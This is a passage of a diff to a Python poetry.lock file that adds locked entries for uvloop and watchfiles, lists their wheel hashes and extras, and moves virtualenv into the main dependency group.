top of libuv" +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" and sys_platform != \"win32\" and sys_platform != \"cygwin\"" +files = [ + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ec7e6b09a6fdded42403182ab6b832b71f4edaf7f37a9a0e371a01db5f0cb45f"}, + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:196274f2adb9689a289ad7d65700d37df0c0930fd8e4e743fa4834e850d7719d"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f38b2e090258d051d68a5b14d1da7203a3c3677321cf32a95a6f4db4dd8b6f26"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c43e0f13022b998eb9b973b5e97200c8b90823454d4bc06ab33829e09fb9bb"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:10d66943def5fcb6e7b37310eb6b5639fd2ccbc38df1177262b0640c3ca68c1f"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:67dd654b8ca23aed0a8e99010b4c34aca62f4b7fce88f39d452ed7622c94845c"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c0f3fa6200b3108919f8bdabb9a7f87f20e7097ea3c543754cabc7d717d95cf8"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0878c2640cf341b269b7e128b1a5fed890adc4455513ca710d77d5e93aa6d6a0"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9fb766bb57b7388745d8bcc53a359b116b8a04c83a2288069809d2b3466c37e"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a375441696e2eda1c43c44ccb66e04d61ceeffcd76e4929e527b7fa401b90fb"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:baa0e6291d91649c6ba4ed4b2f982f9fa165b5bbd50a9e203c416a2797bab3c6"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4509360fcc4c3bd2c70d87573ad472de40c13387f5fda8cb58350a1d7475e58d"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:359ec2c888397b9e592a889c4d72ba3d6befba8b2bb01743f72fffbde663b59c"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7089d2dc73179ce5ac255bdf37c236a9f914b264825fdaacaded6990a7fb4c2"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baa4dcdbd9ae0a372f2167a207cd98c9f9a1ea1188a8a526431eef2f8116cc8d"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86975dca1c773a2c9864f4c52c5a55631038e387b47eaf56210f873887b6c8dc"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:461d9ae6660fbbafedd07559c6a2e57cd553b34b0065b6550685f6653a98c1cb"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:183aef7c8730e54c9a3ee3227464daed66e37ba13040bb3f350bc2ddc040f22f"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bfd55dfcc2a512316e65f16e503e9e450cab148ef11df4e4e679b5e8253a5281"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:787ae31ad8a2856fc4e7c095341cccc7209bd657d0e71ad0dc2ea83c4a6fa8af"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ee4d4ef48036ff6e5cfffb09dd192c7a5027153948d85b8da7ff705065bacc6"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3df876acd7ec037a3d005b3ab85a7e4110422e4d9c1571d4fc89b0fc41b6816"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd53ecc9a0f3d87ab847503c2e1552b690362e005ab54e8a48ba97da3924c0dc"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a5c39f217ab3c663dc699c04cbd50c13813e31d917642d459fdcec07555cc553"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:17df489689befc72c39a08359efac29bbee8eee5209650d4b9f34df73d22e414"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc09f0ff191e61c2d592a752423c767b4ebb2986daa9ed62908e2b1b9a9ae206"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f0ce1b49560b1d2d8a2977e3ba4afb2414fb46b86a1b64056bc4ab929efdafbe"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e678ad6fe52af2c58d2ae3c73dc85524ba8abe637f134bf3564ed07f555c5e79"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:460def4412e473896ef179a1671b40c039c7012184b627898eea5072ef6f017a"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:10da8046cc4a8f12c91a1c39d1dd1585c41162a15caaef165c2174db9ef18bdc"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c097078b8031190c934ed0ebfee8cc5f9ba9642e6eb88322b9958b649750f72b"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:46923b0b5ee7fc0020bef24afe7836cb068f5050ca04caf6b487c513dc1a20b2"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e420a3afe22cdcf2a0f4846e377d16e718bc70103d7088a4f7623567ba5fb0"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb67cdbc0e483da00af0b2c3cdad4b7c61ceb1ee0f33fe00e09c81e3a6cb75"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:221f4f2a1f46032b403bf3be628011caf75428ee3cc204a22addf96f586b19fd"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2d1f581393673ce119355d56da84fe1dd9d2bb8b3d13ce792524e1607139feff"}, + {file = "uvloop-0.21.0.tar.gz", hash = "sha256:3bf12b0fda68447806a7ad847bfa591613177275d35b6724b1ee573faa3704e3"}, +] + +[package.extras] +dev = ["Cython (>=3.0,<4.0)", "setuptools (>=60)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=23.0.0,<23.1.0)", "pycodestyle (>=2.9.0,<2.10.0)"] + [[package]] name = "virtualenv" version = "20.34.0" description = "Virtual Python Environment builder" optional = false python-versions = ">=3.8" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "virtualenv-20.34.0-py3-none-any.whl", hash = "sha256:341f5afa7eee943e4984a9207c025feedd768baff6753cd660c857ceb3e36026"}, {file = "virtualenv-20.34.0.tar.gz", hash = "sha256:44815b2c9dee7ed86e387b842a84f20b93f7f417f95886ca1996a72a4138eb1a"}, @@ -5649,6 +6255,125 @@ files = [ [package.extras] watchmedo = ["PyYAML (>=3.10)"] +[[package]] +name = "watchfiles" +version = "1.1.0" +description = "Simple, modern and high performance file watching and code reload in python." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "watchfiles-1.1.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:27f30e14aa1c1e91cb653f03a63445739919aef84c8d2517997a83155e7a2fcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3366f56c272232860ab45c77c3ca7b74ee819c8e1f6f35a7125556b198bbc6df"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8412eacef34cae2836d891836a7fff7b754d6bcac61f6c12ba5ca9bc7e427b68"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:df670918eb7dd719642e05979fc84704af913d563fd17ed636f7c4783003fdcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d7642b9bc4827b5518ebdb3b82698ada8c14c7661ddec5fe719f3e56ccd13c97"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:199207b2d3eeaeb80ef4411875a6243d9ad8bc35b07fc42daa6b801cc39cc41c"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a479466da6db5c1e8754caee6c262cd373e6e6c363172d74394f4bff3d84d7b5"}, + {file = "watchfiles-1.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:935f9edd022ec13e447e5723a7d14456c8af254544cefbc533f6dd276c9aa0d9"}, + {file = "watchfiles-1.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:8076a5769d6bdf5f673a19d51da05fc79e2bbf25e9fe755c47595785c06a8c72"}, + {file = "watchfiles-1.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86b1e28d4c37e89220e924305cd9f82866bb0ace666943a6e4196c5df4d58dcc"}, + {file = "watchfiles-1.1.0-cp310-cp310-win32.whl", hash = "sha256:d1caf40c1c657b27858f9774d5c0e232089bca9cb8ee17ce7478c6e9264d2587"}, + {file = "watchfiles-1.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:a89c75a5b9bc329131115a409d0acc16e8da8dfd5867ba59f1dd66ae7ea8fa82"}, + {file = "watchfiles-1.1.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:c9649dfc57cc1f9835551deb17689e8d44666315f2e82d337b9f07bd76ae3aa2"}, + {file = "watchfiles-1.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:406520216186b99374cdb58bc48e34bb74535adec160c8459894884c983a149c"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb45350fd1dc75cd68d3d72c47f5b513cb0578da716df5fba02fff31c69d5f2d"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:11ee4444250fcbeb47459a877e5e80ed994ce8e8d20283857fc128be1715dac7"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bda8136e6a80bdea23e5e74e09df0362744d24ffb8cd59c4a95a6ce3d142f79c"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b915daeb2d8c1f5cee4b970f2e2c988ce6514aace3c9296e58dd64dc9aa5d575"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ed8fc66786de8d0376f9f913c09e963c66e90ced9aa11997f93bdb30f7c872a8"}, + {file = "watchfiles-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe4371595edf78c41ef8ac8df20df3943e13defd0efcb732b2e393b5a8a7a71f"}, + {file = "watchfiles-1.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b7c5f6fe273291f4d414d55b2c80d33c457b8a42677ad14b4b47ff025d0893e4"}, + {file = "watchfiles-1.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7738027989881e70e3723c75921f1efa45225084228788fc59ea8c6d732eb30d"}, + {file = "watchfiles-1.1.0-cp311-cp311-win32.whl", hash = "sha256:622d6b2c06be19f6e89b1d951485a232e3b59618def88dbeda575ed8f0d8dbf2"}, + {file = "watchfiles-1.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:48aa25e5992b61debc908a61ab4d3f216b64f44fdaa71eb082d8b2de846b7d12"}, + {file = "watchfiles-1.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:00645eb79a3faa70d9cb15c8d4187bb72970b2470e938670240c7998dad9f13a"}, + {file = "watchfiles-1.1.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:9dc001c3e10de4725c749d4c2f2bdc6ae24de5a88a339c4bce32300a31ede179"}, + {file = "watchfiles-1.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d9ba68ec283153dead62cbe81872d28e053745f12335d037de9cbd14bd1877f5"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:130fc497b8ee68dce163e4254d9b0356411d1490e868bd8790028bc46c5cc297"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:50a51a90610d0845a5931a780d8e51d7bd7f309ebc25132ba975aca016b576a0"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc44678a72ac0910bac46fa6a0de6af9ba1355669b3dfaf1ce5f05ca7a74364e"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a543492513a93b001975ae283a51f4b67973662a375a403ae82f420d2c7205ee"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ac164e20d17cc285f2b94dc31c384bc3aa3dd5e7490473b3db043dd70fbccfd"}, + {file = "watchfiles-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7590d5a455321e53857892ab8879dce62d1f4b04748769f5adf2e707afb9d4f"}, + {file = "watchfiles-1.1.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:37d3d3f7defb13f62ece99e9be912afe9dd8a0077b7c45ee5a57c74811d581a4"}, + {file = "watchfiles-1.1.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:7080c4bb3efd70a07b1cc2df99a7aa51d98685be56be6038c3169199d0a1c69f"}, + {file = "watchfiles-1.1.0-cp312-cp312-win32.whl", hash = "sha256:cbcf8630ef4afb05dc30107bfa17f16c0896bb30ee48fc24bf64c1f970f3b1fd"}, + {file = "watchfiles-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:cbd949bdd87567b0ad183d7676feb98136cde5bb9025403794a4c0db28ed3a47"}, + {file = "watchfiles-1.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:0a7d40b77f07be87c6faa93d0951a0fcd8cbca1ddff60a1b65d741bac6f3a9f6"}, + {file = "watchfiles-1.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5007f860c7f1f8df471e4e04aaa8c43673429047d63205d1630880f7637bca30"}, + {file = "watchfiles-1.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:20ecc8abbd957046f1fe9562757903f5eaf57c3bce70929fda6c7711bb58074a"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2f0498b7d2a3c072766dba3274fe22a183dbea1f99d188f1c6c72209a1063dc"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:239736577e848678e13b201bba14e89718f5c2133dfd6b1f7846fa1b58a8532b"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eff4b8d89f444f7e49136dc695599a591ff769300734446c0a86cba2eb2f9895"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12b0a02a91762c08f7264e2e79542f76870c3040bbc847fb67410ab81474932a"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29e7bc2eee15cbb339c68445959108803dc14ee0c7b4eea556400131a8de462b"}, + {file = "watchfiles-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9481174d3ed982e269c090f780122fb59cee6c3796f74efe74e70f7780ed94c"}, + {file = "watchfiles-1.1.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:80f811146831c8c86ab17b640801c25dc0a88c630e855e2bef3568f30434d52b"}, + {file = "watchfiles-1.1.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:60022527e71d1d1fda67a33150ee42869042bce3d0fcc9cc49be009a9cded3fb"}, + {file = "watchfiles-1.1.0-cp313-cp313-win32.whl", hash = "sha256:32d6d4e583593cb8576e129879ea0991660b935177c0f93c6681359b3654bfa9"}, + {file = "watchfiles-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:f21af781a4a6fbad54f03c598ab620e3a77032c5878f3d780448421a6e1818c7"}, + {file = "watchfiles-1.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:5366164391873ed76bfdf618818c82084c9db7fac82b64a20c44d335eec9ced5"}, + {file = "watchfiles-1.1.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:17ab167cca6339c2b830b744eaf10803d2a5b6683be4d79d8475d88b4a8a4be1"}, + {file = "watchfiles-1.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:328dbc9bff7205c215a7807da7c18dce37da7da718e798356212d22696404339"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f7208ab6e009c627b7557ce55c465c98967e8caa8b11833531fdf95799372633"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a8f6f72974a19efead54195bc9bed4d850fc047bb7aa971268fd9a8387c89011"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d181ef50923c29cf0450c3cd47e2f0557b62218c50b2ab8ce2ecaa02bd97e670"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:adb4167043d3a78280d5d05ce0ba22055c266cf8655ce942f2fb881262ff3cdf"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5701dc474b041e2934a26d31d39f90fac8a3dee2322b39f7729867f932b1d4"}, + {file = "watchfiles-1.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b067915e3c3936966a8607f6fe5487df0c9c4afb85226613b520890049deea20"}, + {file = "watchfiles-1.1.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:9c733cda03b6d636b4219625a4acb5c6ffb10803338e437fb614fef9516825ef"}, + {file = "watchfiles-1.1.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:cc08ef8b90d78bfac66f0def80240b0197008e4852c9f285907377b2947ffdcb"}, + {file = "watchfiles-1.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:9974d2f7dc561cce3bb88dfa8eb309dab64c729de85fba32e98d75cf24b66297"}, + {file = "watchfiles-1.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c68e9f1fcb4d43798ad8814c4c1b61547b014b667216cb754e606bfade587018"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95ab1594377effac17110e1352989bdd7bdfca9ff0e5eeccd8c69c5389b826d0"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fba9b62da882c1be1280a7584ec4515d0a6006a94d6e5819730ec2eab60ffe12"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3434e401f3ce0ed6b42569128b3d1e3af773d7ec18751b918b89cd49c14eaafb"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fa257a4d0d21fcbca5b5fcba9dca5a78011cb93c0323fb8855c6d2dfbc76eb77"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7fd1b3879a578a8ec2076c7961076df540b9af317123f84569f5a9ddee64ce92"}, + {file = "watchfiles-1.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:62cc7a30eeb0e20ecc5f4bd113cd69dcdb745a07c68c0370cea919f373f65d9e"}, + {file = "watchfiles-1.1.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:891c69e027748b4a73847335d208e374ce54ca3c335907d381fde4e41661b13b"}, + {file = "watchfiles-1.1.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:12fe8eaffaf0faa7906895b4f8bb88264035b3f0243275e0bf24af0436b27259"}, + {file = "watchfiles-1.1.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:bfe3c517c283e484843cb2e357dd57ba009cff351edf45fb455b5fbd1f45b15f"}, + {file = "watchfiles-1.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a9ccbf1f129480ed3044f540c0fdbc4ee556f7175e5ab40fe077ff6baf286d4e"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba0e3255b0396cac3cc7bbace76404dd72b5438bf0d8e7cefa2f79a7f3649caa"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4281cd9fce9fc0a9dbf0fc1217f39bf9cf2b4d315d9626ef1d4e87b84699e7e8"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6d2404af8db1329f9a3c9b79ff63e0ae7131986446901582067d9304ae8aaf7f"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e78b6ed8165996013165eeabd875c5dfc19d41b54f94b40e9fff0eb3193e5e8e"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:249590eb75ccc117f488e2fabd1bfa33c580e24b96f00658ad88e38844a040bb"}, + {file = "watchfiles-1.1.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d05686b5487cfa2e2c28ff1aa370ea3e6c5accfe6435944ddea1e10d93872147"}, + {file = "watchfiles-1.1.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:d0e10e6f8f6dc5762adee7dece33b722282e1f59aa6a55da5d493a97282fedd8"}, + {file = "watchfiles-1.1.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:af06c863f152005c7592df1d6a7009c836a247c9d8adb78fef8575a5a98699db"}, + {file = "watchfiles-1.1.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:865c8e95713744cf5ae261f3067861e9da5f1370ba91fc536431e29b418676fa"}, + {file = "watchfiles-1.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:42f92befc848bb7a19658f21f3e7bae80d7d005d13891c62c2cd4d4d0abb3433"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa0cc8365ab29487eb4f9979fd41b22549853389e22d5de3f134a6796e1b05a4"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:90ebb429e933645f3da534c89b29b665e285048973b4d2b6946526888c3eb2c7"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c588c45da9b08ab3da81d08d7987dae6d2a3badd63acdb3e206a42dbfa7cb76f"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c55b0f9f68590115c25272b06e63f0824f03d4fc7d6deed43d8ad5660cabdbf"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd17a1e489f02ce9117b0de3c0b1fab1c3e2eedc82311b299ee6b6faf6c23a29"}, + {file = "watchfiles-1.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:da71945c9ace018d8634822f16cbc2a78323ef6c876b1d34bbf5d5222fd6a72e"}, + {file = "watchfiles-1.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:51556d5004887045dba3acdd1fdf61dddea2be0a7e18048b5e853dcd37149b86"}, + {file = "watchfiles-1.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:04e4ed5d1cd3eae68c89bcc1a485a109f39f2fd8de05f705e98af6b5f1861f1f"}, + {file = "watchfiles-1.1.0-cp39-cp39-win32.whl", hash = "sha256:c600e85f2ffd9f1035222b1a312aff85fd11ea39baff1d705b9b047aad2ce267"}, + {file = "watchfiles-1.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3aba215958d88182e8d2acba0fdaf687745180974946609119953c0e112397dc"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3a6fd40bbb50d24976eb275ccb55cd1951dfb63dbc27cae3066a6ca5f4beabd5"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9f811079d2f9795b5d48b55a37aa7773680a5659afe34b54cc1d86590a51507d"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a2726d7bfd9f76158c84c10a409b77a320426540df8c35be172444394b17f7ea"}, + {file = "watchfiles-1.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df32d59cb9780f66d165a9a7a26f19df2c7d24e3bd58713108b41d0ff4f929c6"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0ece16b563b17ab26eaa2d52230c9a7ae46cf01759621f4fbbca280e438267b3"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:51b81e55d40c4b4aa8658427a3ee7ea847c591ae9e8b81ef94a90b668999353c"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2bcdc54ea267fe72bfc7d83c041e4eb58d7d8dc6f578dfddb52f037ce62f432"}, + {file = "watchfiles-1.1.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:923fec6e5461c42bd7e3fd5ec37492c6f3468be0499bc0707b4bbbc16ac21792"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7b3443f4ec3ba5aa00b0e9fa90cf31d98321cbff8b925a7c7b84161619870bc9"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7049e52167fc75fc3cc418fc13d39a8e520cbb60ca08b47f6cedb85e181d2f2a"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54062ef956807ba806559b3c3d52105ae1827a0d4ab47b621b31132b6b7e2866"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a7bd57a1bb02f9d5c398c0c1675384e7ab1dd39da0ca50b7f09af45fa435277"}, + {file = "watchfiles-1.1.0.tar.gz", hash = "sha256:693ed7ec72cbfcee399e92c895362b6e66d63dac6b91e2c11ae03d10d503e575"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + [[package]] name = "wcwidth" version = "0.2.13" @@ -5684,6 +6409,85 @@ srsly = ">=2.4.3,<3.0.0" typer = ">=0.3.0,<1.0.0" wasabi = 